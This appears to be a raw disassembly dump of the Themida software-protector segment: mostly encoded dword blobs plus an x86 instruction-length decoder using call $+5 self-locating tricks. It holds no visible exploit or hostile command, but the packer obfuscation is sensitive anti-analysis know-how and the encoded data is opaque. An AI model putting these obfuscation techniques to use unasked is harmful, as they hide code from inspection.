		dd 3646BF61h, 0D82737D1h, 307737DEh, 68B46FCEh,	345373FEh
		dd 3453733Ah, 307737CAh, 0BFB467AEh, 0CF301FD3h, 65775D6Bh
		dd 30773435h, 0F32A17EEh, 141BBE2Ah, 1433B6BFh,	307723D9h
		dd 0F32272EEh, 3F8DBCC9h, 0F07CC604h, 3051B3D2h, 0BE7837EEh
		dd 30773774h, 0BD80BCDDh, 1C386640h, 32F838E8h,	0BB773777h
		dd 30768F4Ch, 0FEF637DDh, 5E2F8F26h, 0DFFDD488h, 0A0AEAA36h
		dd 301D31ECh, 3074DFBDh, 6B573777h, 6CFE6C78h, 74F633F9h
		dd 306333CAh, 63343777h, 0B2783A78h, 307737D8h,	25A8B688h
		dd 26F2BABAh, 56710633h, 0CF74DA62h, 63775D3Eh,	3077349Fh
		dd 0F32C17BBh, 142BBE86h, 1433B6EAh, 30772B73h,	0F32474BBh
		dd 0F44DCFB5h, 0D0BDD396h, 3FB73C25h, 3077053Fh, 3066DEDDh
		dd 0F1D437EEh, 0D34FBD5Ah, 0C078A3C1h, 6DAF211Bh, 0BDCCA920h
		dd 1C3866EAh, 51088BDh,	33CF6166h, 8F7737EEh, 2E9BB91Fh
		dd 0E8C8D444h, 731F7C6Fh, 0A0B58A63h, 0BDFA3146h, 3646A31Dh
		dd 7B2B4A65h, 1DF20464h, 1B711B54h, 329EF674h, 0A76FADFAh
		dd 37B73646h, 37EDD820h, 68573077h, 4B326FB4h, 735C3453h
		dd 0F305E983h, 0F8C08BA4h, 0C38BF78Bh, 0AAE28166h, 6AC08B7Ch
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 15042444h
		dd 40000000h, 1836C350h, 84ED8060h, 65BD8361h, 62C1Dh
		dd 0BD830975h, 62C23D9h, 50197400h, 0B8C08B53h,	47Ah, 343D8589h
		dd 9D8D062Ch, 62EB1D3h,	585BD3FFh, 23D9BD83h, 7400062Ch
		dd 0B8535017h, 47Ah, 343D8589h,	9D8D062Ch, 62EAE74h, 585BD3FFh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 1DC35747h
		dd 0B4E68166h, 0D38B6632h, 66E9C08Bh, 60000002h, 0F6D98C66h
		dd 840F04C1h, 35h, 0B5FF016Ah, 62C1671h, 860C858Dh, 0D0FF062Fh
		dd 29158589h, 0FE8B062Ch, 680CEFC1h, 20060000h,	26A006Ah
		dd 0D6857h, 95FF0001h, 62C2915h, 32E9h,	0AD85C600h, 56062C21h
		dd 0C530DF68h, 3DB5FFA9h, 8D062C07h, 2F860C85h,	89D0FF06h
		dd 2C05E185h, 8D858D06h, 50062C0Fh, 56A406Ah, 0E195FF56h
		dd 61062C05h, 0C3h, 2 dup(0)
		dd 0D48B5200h, 8428B60h, 95E78589h, 428B0631h, 0DF85890Ch
		dd 8B063195h, 85891042h, 63195E3h, 961DB58Dh, 858D0631h
		dd 5B8EA1h, 5A61D0FFh, 8B000CC2h, 3195E7B5h, 0DF858B06h
		dd 83063195h, 3195E3BDh, 840F0006h, 7, 2E90689h, 88000000h
		dd 0CF06h, 0
		dd 8B520000h, 428B60D4h, 0E7858908h, 8D063195h,	31966EB5h
		dd 0A1858D06h, 0FF005B8Eh, 8B5A61D0h, 3195E785h, 4C206h
		dd 95E7858Bh, 8B0631h, 95E78589h, 0CF0631h, 60000000h
		dd 9644B589h, 85890631h, 6319640h, 0BDD858Dh, 408B062Ch
		dd 7D858944h, 8D063196h, 3196B3B5h, 0A1858D06h,	0FF005B8Eh
		dd 858B61D0h, 6319644h,	409D8BC3h, 0F063196h, 33C43B7h
		dd 785B8BD8h, 96409D03h, 738B0631h, 40B50324h, 56063196h
		dd 8B207B8Bh, 0BD031C73h, 6319640h, 9640B503h, 83FC0631h
		dd 8B41FFC9h, 3196449Dh, 3178B06h, 31964095h, 4C78306h
		dd 0C084028Ah, 0F840Fh,	33A0000h, 0FFDC850Fh, 4243FFFFh
		dd 0FFFFE7E9h, 0F033AFFh, 0FFFFCD85h, 0E1D15FFFh, 0F04B70Fh
		dd 386048Bh, 31964085h,	44858906h, 8B063196h, 8BCE8BF0h
		dd 7DBD81C1h, 63196h, 0FC03000h, 0D85h,	14E8C100h, 0FFC25h
		dd 8E900h, 0E8C10000h, 3FF82512h, 0BD8B0000h, 631967Dh
		dd 6070C83h, 8B07148Bh,	3C8124C2h, 0FC18B81h, 5784h, 7DBD8100h
		dd 63196h, 0FC03000h, 0D85h, 0AE8C100h,	3FFFFC25h, 8E900h
		dd 0E8C10000h, 0FFF82509h, 2D007Fh, 83400000h, 0F70608h
		dd 80h,	1E840Fh, 0BD810000h, 631967Dh, 0C0300000h, 0E840Fh
		dd 0F8250000h, 8B00003Fh, 60000080h, 60883C0h, 0EB858DCFh
		dd 89063195h, 2C194985h, 81858D06h, 89063196h, 2C21ED85h
		dd 48858D06h, 89063196h, 2C33B585h, 5E806h, 0E4AC0000h
		dd 818F790Eh, 99079FE2h, 0CF8B5851h, 6C7DC081h,	0BF0F0000h
		dd 1AEC68CEh, 0BE80000h, 6B000000h, 93E10279h, 260626F2h
		dd 0D6803952h, 505F5AC8h, 3D38166h, 30FF59E5h, 0B2B55EF8h
		dd 38D8F681h, 870F19D1h, 3, 815BF856h, 4AFB3AEEh, 6B9660Ah
		dd 0A4EE8139h, 0B95C6703h, 75D7346Bh, 6E83089h,	0D5000000h
		dd 0FB1CBCBh, 0D2DB81D7h, 5B1C9EADh, 0B902E883h, 5624A9F8h
		dd 0F604848h, 0B87h, 6E900h, 9B830000h,	5F8AAA5Bh, 0C421D381h
		dd 83610CE5h, 850F01EFh, 18h, 71C18166h, 25E9E6h, 4E230000h
		dd 4FB50155h, 342A6AA3h, 2DACB750h, 0A45741BAh,	0FF74E943h
		dd 4B57FFFFh, 62CB46FCh, 57FBACA5h, 0E95DCDD4h,	13Ch, 4Fh dup(0)
		dd 0F21BD83h, 0F01062Ch, 5CF84h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1604h,	0C3524200h, 0FC66F8F4h
		dd 21AD85C6h, 6A43062Ch, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1A042444h, 41000000h, 67A3C351h, 6BAB2107h
		dd 8052607Ch, 0E95F1FE5h, 6, 2053361Eh,	68614F8Bh, 0A513BD59h
		dd 7E9h, 7B1D8E00h, 515947D0h, 0AC243481h, 0E949B66Dh
		dd 8, 1C870B3h,	0FE5374B2h, 73DB5FFh, 6A062Ch, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0B92FFFC3h, 0FC8957D6h, 0FC293B1Ch, 860C858Dh, 0F60062Fh
		dd 58Fh, 0D0816600h, 10E9DD78h,	99000000h, 6FFA77D6h, 0C9B7E3E3h
		dd 69EA73F4h, 611CF5E4h, 860FD0FFh, 13h, 0EE9h,	0F88D4000h
		dd 1D38B4E9h, 877C5BF5h, 89FA2F2Ah, 2C19B985h, 0CE906h
		dd 0B65B0000h, 7E651F65h, 51887155h, 0B9603EF1h, 29F1FD68h
		dd 0C661C88Ah, 2C21AD85h, 0E8605006h, 7, 68583492h, 0F4C0292h
		dd 0F558CEBFh, 8B666061h, 11E9DAh, 0FAC40000h, 0B4FB7BBEh
		dd 5C8B6F52h, 5ECB640h,	619B5208h, 27014E68h, 0F52508Bh
		dd 68Fh, 0F525000h, 0F585A31h, 0BE666031h, 5250E1D0h, 585A310Fh
		dd 81585A61h, 0AC082404h, 0EE91D86h, 0F3000000h, 0BB525BFh
		dd 4ECB823Dh, 0ABCBF50Dh, 3DB5FF45h, 6A062C07h,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 42F6C356h, 645213AFh, 0C858DFCh, 6A062F86h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
		dd 6314C350h, 0FFC44F00h, 1C860FD0h, 60000000h,	36C68166h
		dd 10E93Fh, 0E1F30000h,	32668192h, 0E1C7CA25h, 0D38F561Eh
		dd 60610D78h, 2116EF81h, 8B66614Bh, 858961C1h, 62C2D79h
		dd 0F8A0Fh, 0AE90000h, 0D6000000h, 4FF94FEBh, 7CA66A27h
		dd 0CC086820h, 810F80D1h, 7, 0BC04BF60h, 81611567h, 64272434h
		dd 6A705Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h
		dd 53430000h, 0B072A2C3h, 0EF85B2F8h, 0F800F60h, 0E8000000h
		dd 9, 73BE425Fh, 0E48D7414h, 0FF615A89h, 2C073DB5h, 1850F06h
		dd 0F5000000h, 860C858Dh, 0FFF8062Fh, 51006AD0h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1D04h, 0C3514100h
		dd 675A6850h, 8CD25DD4h, 6660018Ah, 5060CF8Bh, 0F781665Ah
		dd 61618933h, 7BD8589h,	0E960062Ch, 13h, 3346B41Fh, 8A67B0C7h
		dd 0B3799AEAh, 5DF92DB6h, 0E8B95DA5h, 10h, 0BFD5AD10h
		dd 1420F6D7h, 71D46B23h, 12CC09F9h, 0B456C281h,	615A2A7Eh
		dd 0CABF0F60h, 0AD85C661h, 50062C21h, 4E8F9h, 0DC560000h
		dd 12E9979Ch, 0F2000000h, 74501B60h, 0A15D9DB9h, 11CAD7F3h
		dd 119BE1BAh, 0B96050F9h, 0C0DC358h, 8B615A52h,	0E9042444h
		dd 11h,	9EAF57CCh, 0D9FD7FAAh, 3F373079h, 91BF3F0Bh, 0F008B87h
		dd 1285h, 50525000h, 5A310F52h,	0F310F58h, 87h,	89585A00h
		dd 0F042444h, 1585h, 10E900h, 56270000h, 81C7AAB6h, 0B95A5241h
		dd 0AD5B68Bh, 0F58A2A1h, 2181h,	14E96000h, 0AB000000h
		dd 6AE1DB69h, 1CFE9CD0h, 0B79B4FBDh, 0D8941D11h, 0F6A33FBh
		dd 8Eh,	66606100h, 73E8D881h, 0D3DF8153h, 5A10D1E9h, 71B5FF61h
		dd 0F062C16h, 780h, 18F0F00h, 0F8000000h, 3A0C858Dh, 12E9062Ch
		dd 71000000h, 1DF64A50h, 0A0BE7153h, 9CB9959Eh,	0CBCAD171h
		dd 8E916h, 0F0B30000h, 5CA552FAh, 0D0FF0C1Ah, 858589FCh
		dd 6A062C0Dh, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 16042444h, 47000000h, 0F467C357h, 1B6E901h, 95F80000h
		dd 15880Fh, 10E90000h, 0E8000000h, 517A4EEEh, 5A68553h
		dd 0D6691C6Ah, 50881487h, 0BE86060h, 0D0000000h, 2A4F4688h
		dd 192F5F27h, 0BE5F1B10h, 42A230FDh, 0CA8B6661h, 890F9561h
		dd 7, 1880Fh, 8BF50000h, 52006AECh, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1B04h, 0C3524200h, 0ECADF17Eh, 6C88C62Ah
		dd 6AFCC483h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 14042444h, 46000000h, 0FD0C356h, 1280h, 0DE900h, 25B20000h
		dd 0C27F094Ah, 0CB8171ECh, 608558C7h, 0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Ch, 47C35545h, 2C013A8Fh, 23B06384h
		dd 5E960h, 659E0000h, 66632BB7h, 615C2CBFh, 0E8F8h, 815A0000h
		dd 319F10EAh, 0FC45C706h, 0
		dd 0F21BA83h, 0F01062Ch, 9884h,	6A5200h, 92FF0F6Ah, 62C19B9h
		dd 0CE82895Ah, 8D063198h, 3198D29Ah, 3C75206h, 128h, 92FF5053h
		dd 62C2D79h, 9A8D525Ah,	63198D2h, 0CEB2FF53h, 0FF063198h
		dd 2C0D8592h, 0C00B5A06h, 9A8D5074h, 63198D2h, 33247B8Dh
		dd 4F981C9h, 74000001h,	3C8141D4h, 58452E39h, 8DEE7545h
		dd 752B3934h, 55BA8D0Ch, 8B062C02h, 0A4F30C4Dh,	52AAC032h
		dd 8D0875FFh, 2C025582h, 92FF5006h, 62C07BDh, 75C00B5Ah
		dd 0FC45C7A0h, 1, 45C707EBh, 0FCh, 458B6100h, 8C2C9FCh
		dd 1890F00h, 0FC000000h, 0FE9h,	53219F00h, 83BA4B15h, 37C2E05Ah
		dd 0D1365C61h, 8D8DD28Bh, 631A038h, 89DF8B66h, 2C2BA58Dh
		dd 0F78B6606h, 12D985C7h, 5DEC062Ch, 0BD090000h, 62C199Dh
		dd 29C185C7h, 62Ch, 0BE660000h,	0B5FFB3BAh, 62C243Dh, 18C0Fh
		dd 0FFFC0000h, 2C15F595h, 0C9BD3106h, 6A062C33h, 0B195FF00h
		dd 8B062C26h, 0AA5BEBC0h, 0C1712CBCh, 0DAA9A173h, 7A09Dh
		dd 0F53AEB03h, 7A811E12h, 3706E99Ah, 0ED81BBC5h, 8B8A5E14h
		dd 8F72FB69h, 0D03DA1BFh, 90A55E49h, 0DD4941E6h, 0C0BE1186h
		dd 6A81AE0Ah, 4C097970h, 90D688C0h, 87355341h, 0F655E58Dh
		dd 12ACC6D6h, 5054464Fh, 64032B17h, 14408AC5h, 14E85F03h
		dd 39000000h, 82D5FF5h,	1D56ACCAh, 363B73F3h, 0C0EB71F6h
		dd 8B772531h, 2C1D4195h, 0AE85906h, 34000000h, 3B9A5C25h
		dd 7C60BDBFh, 7DBD895Ah, 5F062C06h, 5C04C181h, 0EA810000h
		dd 45554A72h, 7A9070B8h, 0AEE8815Ch, 605C7A79h,	0F418589h
		dd 0F53062Ch, 80h, 0FF615B00h, 14870F31h, 0E9000000h, 0Fh
		dd 4668FC15h, 8C7017AFh, 94BF1CA0h, 5BB5A9B2h, 0EAEE8166h
		dd 85EB8120h, 8B7130C2h, 2C1D25BDh, 47C38106h, 8B58FDEFh
		dd 2C15A9B5h, 0F4C38106h, 0F61055Ah, 68Ah, 0D1958900h
		dd 89062C33h, 6E919h, 62120000h, 0A73FC3E6h, 0AA29E981h
		dd 0EBE690Dh, 811817C5h, 0DAA25C1h, 0F3BF0F69h,	1E881h
		dd 850F0000h, 11h, 23318529h, 24E9062Ch, 86000000h, 0BB6707CDh
		dd 0EADF81FBh, 0E9515805h, 0FFFFFF6Bh, 32EB3B76h, 4F99D278h
		dd 529DACC7h, 0BAD1411Eh, 0E92632A1h, 1C8h, 8 dup(418888h)
		dd 4 dup(0)
		dd 8800h, 91C4h, 2 dup(11111111h), 888899C9h, 88888888h
		dd 0
		dd 600h, 4444h,	41h, 11111111h,	44444444h, 0C9880299h
		dd 100203h, 118888h, 88888888h,	11111111h, 1644h, 2 dup(88000000h)
		dd 8888h, 800000h, 88888888h, 8, 8088888h, 88888888h, 2	dup(0)
aIiiiiiiiaiiiii	db '',0
aIssi		db '',8,0
		db 2 dup(0), 88h
aDdddddddiiiiii	db 'DDDDDDDD',0
aAs		db '',0
		dd 88998000h, 88888888h, 88888900h, 89998888h, 0
		dd 80888880h, 88888888h, 80888888h, 88888888h, 88888880h
		dd 8888888h, 3E362E26h,	67666564h, 0F3F2F0h, 0
		dd 0FFFFFFFFh, 4016E6h,	4016FAh, 2 dup(0)
		dd 1, 14h dup(0)
aAcawu		db 'Àcwu',0
		align 10h
		dd 1, 11h dup(0)
		dd 353E9h, 0E85500h, 5D000000h,	0A375ED81h, 0C7600631h
		dd 31A2C285h, 6, 3E816600h, 850FA166h, 0Fh, 0A2C685C7h
		dd 60631h, 24E90000h, 8D000000h, 31A2CA85h, 858D5006h
		dd 631A31Ah, 6A5650h, 1DE8h, 10C48300h,	0FF25h,	0C6858900h
		dd 610631A2h, 0A2C6B503h, 858B0631h, 631A2C2h
		db 5Dh,	0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_553F1F
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_553F2B
; ---------------------------------------------------------------------------


loc_553F1F:				; CODE XREF: Themida_:00553F08j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_553F2B:				; CODE XREF: Themida_:00553F1Aj
		push	ebx
		push	esi
		push	edi


loc_553F2E:				; CODE XREF: Themida_:00553F83j
					; Themida_:00553F9Fj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_553F41:				; CODE XREF: Themida_:00553F68j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 631A42Ch
		lea	ebp, [ebp+631A2A2h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_553F6E
		inc	cl
		cmp	cl, 0Bh
		jb	loc_553F41


loc_553F6E:				; CODE XREF: Themida_:00553F5Dj
		cmp	cl, 0Bh
		jz	loc_553FCB
		cmp	al, 66h
		jnz	loc_553FAC
		cmp	byte ptr [ebp-5], 0
		jnz	loc_553F2E
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_553FA4
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_553F2E
; ---------------------------------------------------------------------------


loc_553FA4:				; CODE XREF: Themida_:00553F91j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_553FAC:				; CODE XREF: Themida_:00553F79j
		cmp	al, 67h
		jnz	loc_553F2E
		cmp	byte ptr [ebp-6], 0
		jnz	loc_553F2E
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_553F2E
; ---------------------------------------------------------------------------


loc_553FCB:				; CODE XREF: Themida_:00553F71j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_553FF7
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_553FFC
; ---------------------------------------------------------------------------


loc_553FF7:				; CODE XREF: Themida_:00553FD6j
		movzx	edi, al
		shr	edi, 1


loc_553FFC:				; CODE XREF: Themida_:00553FF2j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 631A4E4h
		lea	ebp, [ebp+631A1A2h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_55417E
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5540C2
		dec	ecx
		jz	loc_5540A5
		dec	ecx
		jnz	loc_554115
		cmp	byte ptr [ebp-2], 0
		jnz	loc_554111
		cmp	byte ptr [ebp-5], 0
		jz	loc_554084
		mov	byte ptr [ebp+0Bh], 2


loc_554084:				; CODE XREF: Themida_:0055407Aj
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 631A570h
		mov	dword ptr [ebp+631A2C2h], 1
		pop	ebp
		jmp	loc_554115
; ---------------------------------------------------------------------------


loc_5540A5:				; CODE XREF: Themida_:0055405Fj
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5540EF
		cmp	byte ptr [ebp-5], 0
		jz	loc_5540EF
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5540EF
; ---------------------------------------------------------------------------


loc_5540C2:				; CODE XREF: Themida_:00554058j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_554108
		cmp	byte ptr [ebp-5], 0
		jz	loc_5540F7
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5540EF
		mov	[ebp+0Bh], cl


loc_5540EF:				; CODE XREF: Themida_:005540A9j
					; Themida_:005540B3j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_554115
; ---------------------------------------------------------------------------


loc_5540F7:				; CODE XREF: Themida_:005540D0j
		cmp	dl, 5
		jnz	loc_554115
		mov	[ebp+0Bh], dl
		jmp	loc_554115
; ---------------------------------------------------------------------------


loc_554108:				; CODE XREF: Themida_:005540C6j
		cmp	dl, 6
		jnz	loc_554115


loc_554111:				; CODE XREF: Themida_:00554070j
		mov	byte ptr [ebp+0Bh], 3


loc_554115:				; CODE XREF: Themida_:00554066j
					; Themida_:005540A0j ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_554143
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_554125:				; CODE XREF: Themida_:0055413Bj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_554125
		mov	esi, edx


loc_554143:				; CODE XREF: Themida_:00554118j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_554178
		cmp	edi, 7Fh
		ja	loc_554178
		test	bl, 38h
		jnz	loc_554178
		cmp	byte ptr [ebp-7], 0
		jz	loc_554172
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_554175
; ---------------------------------------------------------------------------


loc_554172:				; CODE XREF: Themida_:00554163j
		push	1
		pop	eax


loc_554175:				; CODE XREF: Themida_:0055416Dj
		mov	[ebp-1], al


loc_554178:				; CODE XREF: Themida_:00554147j
					; Themida_:00554150j ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_55417E:				; CODE XREF: Themida_:00554028j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5541A9
		dec	eax
		dec	eax
		jz	loc_55419F
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5541B1
; ---------------------------------------------------------------------------


loc_55419F:				; CODE XREF: Themida_:0055418Ej
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5541AE
; ---------------------------------------------------------------------------


loc_5541A9:				; CODE XREF: Themida_:00554186j
		mov	al, [ebp-3]
		add	al, 4


loc_5541AE:				; CODE XREF: Themida_:005541A4j
		add	[ebp-1], al


loc_5541B1:				; CODE XREF: Themida_:0055419Aj
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5541D9
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5541C4:				; CODE XREF: Themida_:005541D3j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5541C4


loc_5541D9:				; CODE XREF: Themida_:005541B9j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 0A36F858Dh, 85890631h, 62C3475h, 0A78E8D8Dh,	6A0631h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 69F911C3h, 0B6538129h, 0A58D892Eh, 8A062C2Bh, 0FE9C7h
		dd 7BB90000h, 277EA77Ch, 0B5FD8353h, 0F494A953h, 0D985C75Ch
		dd 44062C12h, 6A00005Bh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 9E24C350h, 35C364B1h
		dd 8B089377h, 0C185C7D7h, 62C29h, 89000000h, 2C09FD8Dh
		dd 3DB5FF06h, 6A062C24h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 0D687C350h,	0D99D0925h
		dd 0FF062C24h, 2C15F595h, 34BB6606h, 0FF006A3Eh, 2C26B195h
		dd 0EBC08B06h, 7113245Bh, 6DDC97Eh, 2F46E8E3h, 8FB77926h
		dd 0D715E72Ah, 0B1104F0Ch, 0FDC75646h, 9A87AC51h, 935FFB74h
		dd 204F1C50h, 0E24A9477h, 0BF144C7Dh, 0DB32345Ch, 0B7D1B450h
		dd 0BCAFA577h, 0DEC6E863h, 0AA46FD5Ah, 6F6506B7h, 0BD72B164h
		dd 137EFBF5h, 680CE233h, 599DDD76h, 6ACF886Fh, 0A9098D8Dh
		dd 6A0631h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 38BD47C3h, 6ABE356Ch, 0E82B254Fh,	11h, 276B84F4h
		dd 14BB2276h, 63E6029Ch, 1AAD7FDAh, 158F0FD3h, 0E9000000h
		dd 10h,	0BB0A472Bh, 0F656677Ch,	0CC5A5751h, 0B7225A35h
		dd 0A58D895Ah, 60062C2Bh, 21459D33h, 8B66062Ch,	816661DEh
		dd 0C701CDCAh, 2C12D985h, 5F6806h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 29839FFCh
		dd 0C7356D2Bh, 2C29C185h, 6, 399D8900h,	0FF062C20h, 2C0599B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0A9C47159h, 20A59D8Bh, 8D89062Ch, 62C1369h
		dd 15F595FFh, 6A062Ch, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1A0424h, 51410000h, 0D9ED04C3h, 0C6393E89h, 6830Fh
		dd 0B58B0000h, 62C0E91h, 95FF006Ah, 62C26B1h, 29EBC08Bh
		dd 0FDD6EFD0h, 9F2B33EAh, 0C394DE38h, 218D0BE5h, 0F06C85B1h
		dd 0C466FBBDh, 8F95DC24h, 5EFD2218h, 0D5EB24B1h, 761FE0EDh
		dd 5E8CAh, 208C0000h, 0E92B74CAh, 13h, 0E3902867h, 0C9773B92h
		dd 5E9BD8B4h, 77A64747h, 5E9E634Ah, 81C0BF0Fh, 5C79C6h
		dd 5D9D8900h, 0BF062C2Dh, 34625EAAh, 47B0EF81h,	85293462h
		dd 62C2059h, 8D8B1E8Bh,	62C2311h, 2B91F381h, 6E9686Fh
		dd 4A000000h, 1CAF052Dh, 7BEB817Ch, 0F9456A37h,	1ED4F381h
		dd 0A8B2591Dh, 858B1E89h, 62C1345h, 302FEE81h, 0BD096B0Ah
		dd 62C23FDh, 302BC681h,	0F1816B0Ah, 6AC58058h, 1EF81h
		dd 850F0000h, 0FFFFFFACh, 8DD3B70Fh, 31AA6B8Dh,	56006A06h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1B04h, 0C3564600h
		dd 7F8E34D8h, 47A4FCF1h, 4FD9D89h, 8D89062Ch, 62C2BA5h
		dd 9EA4CF81h, 85C74C30h, 62C12D9h, 5980h, 1880F57h, 0F8000000h
		dd 0C185C75Fh, 62C29h, 0BA000000h, 17FE4E08h, 243DB5FFh
		dd 6A062Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1A0424h
		dd 52420000h, 0F08732C3h, 130CDBCEh, 95FF98B0h,	62C15F5h
		dd 1A55B589h, 6A062Ch, 26B195FFh, 0C08B062Ch, 0ED565BEBh
		dd 1F7B9223h, 0EA82423Bh, 2E1EE9C2h, 0FDBA451Eh, 6E2B94E6h
		dd 0E866C7B9h, 0A0D823D3h, 0BCC825A8h, 0CB2848CAh, 0C4820C3Ch
		dd 6A126980h, 0BACB7E63h, 4A9A6503h, 15224088h,	7B3FE764h
		dd 87878F4Ah, 6E8093CFh, 0FE4F5AC0h, 97F83BEDh,	396F7050h
		dd 842759E5h, 0C6C249FCh, 18E9D0h, 0E0F90000h, 34E1h, 4	dup(0)
		dd 9FE90000h, 0B2000005h, 49FA4B6Bh, 0E394E56Fh, 7E2F8008h
		dd 17C819A5h, 0D664B53Bh, 0BE4420C5h, 5CDEBC6Dh, 0F97D5A0Bh
		dd 91AFF7A8h, 0C6059340h, 37F31070h, 9FBEBC92h,	8C015B57h
		dd 0DD2FBF17h, 35F22354h, 0F555B5E8h, 0EA704C4Dh, 82A0E899h
		dd 45680204h, 6E200C4h,	0ADF5F6AEh, 0CE6E78Fh, 91D9DA82h
		dd 0EDCACB73h, 0E5C0C169h, 8AC5B55Dh, 0ED2C16F1h, 31C25099h
		dd 8AE949B9h, 71F7D308h, 2C81D9C9h, 0E2C746Dh, 0F7815B90h
		dd 0A6075F4Fh, 439418F5h, 4520B592h, 0EA704CBDh, 3E1E28Ah
		dd 20FB9670h, 30D83898h, 0C49FD426h, 888FE43Ch,	0F54988CAh
		dd 1531C250h, 0EFCC4DA5h, 21691A6Bh, 0FF505B03h, 0DB31C250h
		dd 0D6C4DBDDh, 0D9C6F5Ah, 2977259Dh, 1D75D500h,	103C1C8h
		dd 5E0AD3Eh, 2EA9013Ah,	5E561F48h, 3B4A999Bh, 5C901E54h
		dd 63DA04h, 86C80000h, 0C2E3F347h, 4BA31331h, 39579F91h
		dd 0BA328691h, 4B1031C2h, 51B3994Ch, 16A5E56h, 2C000000h
		dd 4D2AC59Fh, 0C0C169C9h, 0B3B45CE6h, 0B7A64EDAh, 0DCB6AB6Eh
		dd 80E06441h, 4BF3CD02h, 0C2BAB60Ch, 868D831h, 0BAF74B8Ah
		dd 0A71731C2h, 0F53DEE4Fh, 93C886D7h, 0E17F53B7h, 8D5D959Dh
		dd 3D95852Dh, 3DC39F83h, 30BA9495h, 6524BD88h, 0B90A906Ch
